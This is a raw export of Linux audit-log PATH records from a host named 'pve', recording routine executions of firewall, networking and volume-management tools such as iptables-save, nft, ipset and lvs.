{"@timestamp":1781965405328,"@rawstring":"node=pve type=PATH msg=audit(1781965405.328:65480): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405328,"@rawstring":"node=pve type=PATH msg=audit(1781965405.328:65480): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405328,"@rawstring":"node=pve type=PATH msg=audit(1781965405.328:65480): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405320,"@rawstring":"node=pve type=PATH msg=audit(1781965405.320:65479): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405320,"@rawstring":"node=pve type=PATH msg=audit(1781965405.320:65479): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405314,"@rawstring":"node=pve type=PATH msg=audit(1781965405.314:65478): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405314,"@rawstring":"node=pve type=PATH msg=audit(1781965405.314:65478): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405306,"@rawstring":"node=pve type=PATH msg=audit(1781965405.306:65477): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405306,"@rawstring":"node=pve type=PATH msg=audit(1781965405.306:65477): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405300,"@rawstring":"node=pve type=PATH msg=audit(1781965405.300:65476): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405300,"@rawstring":"node=pve type=PATH msg=audit(1781965405.300:65476): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405294,"@rawstring":"node=pve type=PATH msg=audit(1781965405.294:65474): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405294,"@rawstring":"node=pve type=PATH msg=audit(1781965405.294:65474): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405290,"@rawstring":"node=pve type=PATH msg=audit(1781965405.290:65473): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405290,"@rawstring":"node=pve type=PATH msg=audit(1781965405.290:65473): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405285,"@rawstring":"node=pve type=PATH msg=audit(1781965405.285:65472): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405285,"@rawstring":"node=pve type=PATH msg=audit(1781965405.285:65472): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405277,"@rawstring":"node=pve type=PATH msg=audit(1781965405.277:65471): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405277,"@rawstring":"node=pve type=PATH msg=audit(1781965405.277:65471): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405271,"@rawstring":"node=pve type=PATH msg=audit(1781965405.271:65470): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405271,"@rawstring":"node=pve type=PATH msg=audit(1781965405.271:65470): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405266,"@rawstring":"node=pve type=PATH msg=audit(1781965405.266:65469): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405266,"@rawstring":"node=pve type=PATH msg=audit(1781965405.266:65469): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405259,"@rawstring":"node=pve type=PATH msg=audit(1781965405.259:65468): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405259,"@rawstring":"node=pve type=PATH msg=audit(1781965405.259:65468): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405253,"@rawstring":"node=pve type=PATH msg=audit(1781965405.253:65467): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405253,"@rawstring":"node=pve type=PATH msg=audit(1781965405.253:65467): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405249,"@rawstring":"node=pve type=PATH msg=audit(1781965405.249:65466): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405249,"@rawstring":"node=pve type=PATH msg=audit(1781965405.249:65466): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405245,"@rawstring":"node=pve type=PATH msg=audit(1781965405.245:65465): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405245,"@rawstring":"node=pve type=PATH msg=audit(1781965405.245:65465): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405245,"@rawstring":"node=pve type=PATH msg=audit(1781965405.245:65464): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405245,"@rawstring":"node=pve type=PATH msg=audit(1781965405.245:65464): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405243,"@rawstring":"node=pve type=PATH msg=audit(1781965405.243:65463): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405241,"@rawstring":"node=pve type=PATH msg=audit(1781965405.241:65462): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405241,"@rawstring":"node=pve type=PATH msg=audit(1781965405.241:65462): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405241,"@rawstring":"node=pve type=PATH msg=audit(1781965405.241:65462): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405233,"@rawstring":"node=pve type=PATH msg=audit(1781965405.233:65461): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405233,"@rawstring":"node=pve type=PATH msg=audit(1781965405.233:65461): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405225,"@rawstring":"node=pve type=PATH msg=audit(1781965405.225:65460): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405225,"@rawstring":"node=pve type=PATH msg=audit(1781965405.225:65460): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405221,"@rawstring":"node=pve type=PATH msg=audit(1781965405.221:65459): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405221,"@rawstring":"node=pve type=PATH msg=audit(1781965405.221:65459): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405213,"@rawstring":"node=pve type=PATH msg=audit(1781965405.213:65458): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405213,"@rawstring":"node=pve type=PATH msg=audit(1781965405.213:65458): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405205,"@rawstring":"node=pve type=PATH msg=audit(1781965405.205:65457): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965405205,"@rawstring":"node=pve type=PATH msg=audit(1781965405.205:65457): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965404985,"@rawstring":"node=pve type=PATH msg=audit(1781965404.985:65456): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965404985,"@rawstring":"node=pve type=PATH msg=audit(1781965404.985:65456): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965404959,"@rawstring":"node=pve type=PATH msg=audit(1781965404.959:65455): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965404959,"@rawstring":"node=pve type=PATH msg=audit(1781965404.959:65455): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402884,"@rawstring":"node=pve type=PATH msg=audit(1781965402.884:65454): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402884,"@rawstring":"node=pve type=PATH msg=audit(1781965402.884:65454): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402884,"@rawstring":"node=pve type=PATH msg=audit(1781965402.884:65453): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402884,"@rawstring":"node=pve type=PATH msg=audit(1781965402.884:65452): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402875,"@rawstring":"node=pve type=PATH msg=audit(1781965402.875:65451): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402875,"@rawstring":"node=pve type=PATH msg=audit(1781965402.875:65451): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402875,"@rawstring":"node=pve type=PATH msg=audit(1781965402.875:65450): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965402875,"@rawstring":"node=pve type=PATH msg=audit(1781965402.875:65449): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397864,"@rawstring":"node=pve type=PATH msg=audit(1781965397.864:65448): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397864,"@rawstring":"node=pve type=PATH msg=audit(1781965397.864:65448): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397864,"@rawstring":"node=pve type=PATH msg=audit(1781965397.864:65447): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397864,"@rawstring":"node=pve type=PATH msg=audit(1781965397.864:65446): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397858,"@rawstring":"node=pve type=PATH msg=audit(1781965397.858:65445): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397858,"@rawstring":"node=pve type=PATH msg=audit(1781965397.858:65445): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397858,"@rawstring":"node=pve type=PATH msg=audit(1781965397.858:65444): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965397858,"@rawstring":"node=pve type=PATH msg=audit(1781965397.858:65443): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395194,"@rawstring":"node=pve type=PATH msg=audit(1781965395.194:65442): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395194,"@rawstring":"node=pve type=PATH msg=audit(1781965395.194:65442): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395191,"@rawstring":"node=pve type=PATH msg=audit(1781965395.191:65441): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395191,"@rawstring":"node=pve type=PATH msg=audit(1781965395.191:65441): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395190,"@rawstring":"node=pve type=PATH msg=audit(1781965395.190:65440): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395190,"@rawstring":"node=pve type=PATH msg=audit(1781965395.190:65440): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395190,"@rawstring":"node=pve type=PATH msg=audit(1781965395.190:65439): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395186,"@rawstring":"node=pve type=PATH msg=audit(1781965395.186:65438): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395186,"@rawstring":"node=pve type=PATH msg=audit(1781965395.186:65438): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395186,"@rawstring":"node=pve type=PATH msg=audit(1781965395.186:65438): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395177,"@rawstring":"node=pve type=PATH msg=audit(1781965395.177:65437): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395177,"@rawstring":"node=pve type=PATH msg=audit(1781965395.177:65437): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395171,"@rawstring":"node=pve type=PATH msg=audit(1781965395.171:65436): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395171,"@rawstring":"node=pve type=PATH msg=audit(1781965395.171:65436): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395165,"@rawstring":"node=pve type=PATH msg=audit(1781965395.165:65435): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395165,"@rawstring":"node=pve type=PATH msg=audit(1781965395.165:65435): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395157,"@rawstring":"node=pve type=PATH msg=audit(1781965395.157:65434): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395157,"@rawstring":"node=pve type=PATH msg=audit(1781965395.157:65434): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395151,"@rawstring":"node=pve type=PATH msg=audit(1781965395.151:65432): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395151,"@rawstring":"node=pve type=PATH msg=audit(1781965395.151:65432): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395147,"@rawstring":"node=pve type=PATH msg=audit(1781965395.147:65431): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395147,"@rawstring":"node=pve type=PATH msg=audit(1781965395.147:65431): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395141,"@rawstring":"node=pve type=PATH msg=audit(1781965395.141:65430): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395141,"@rawstring":"node=pve type=PATH msg=audit(1781965395.141:65430): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395135,"@rawstring":"node=pve type=PATH msg=audit(1781965395.135:65429): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395135,"@rawstring":"node=pve type=PATH msg=audit(1781965395.135:65429): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395131,"@rawstring":"node=pve type=PATH msg=audit(1781965395.131:65428): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965395131,"@rawstring":"node=pve type=PATH msg=audit(1781965395.131:65428): item=0 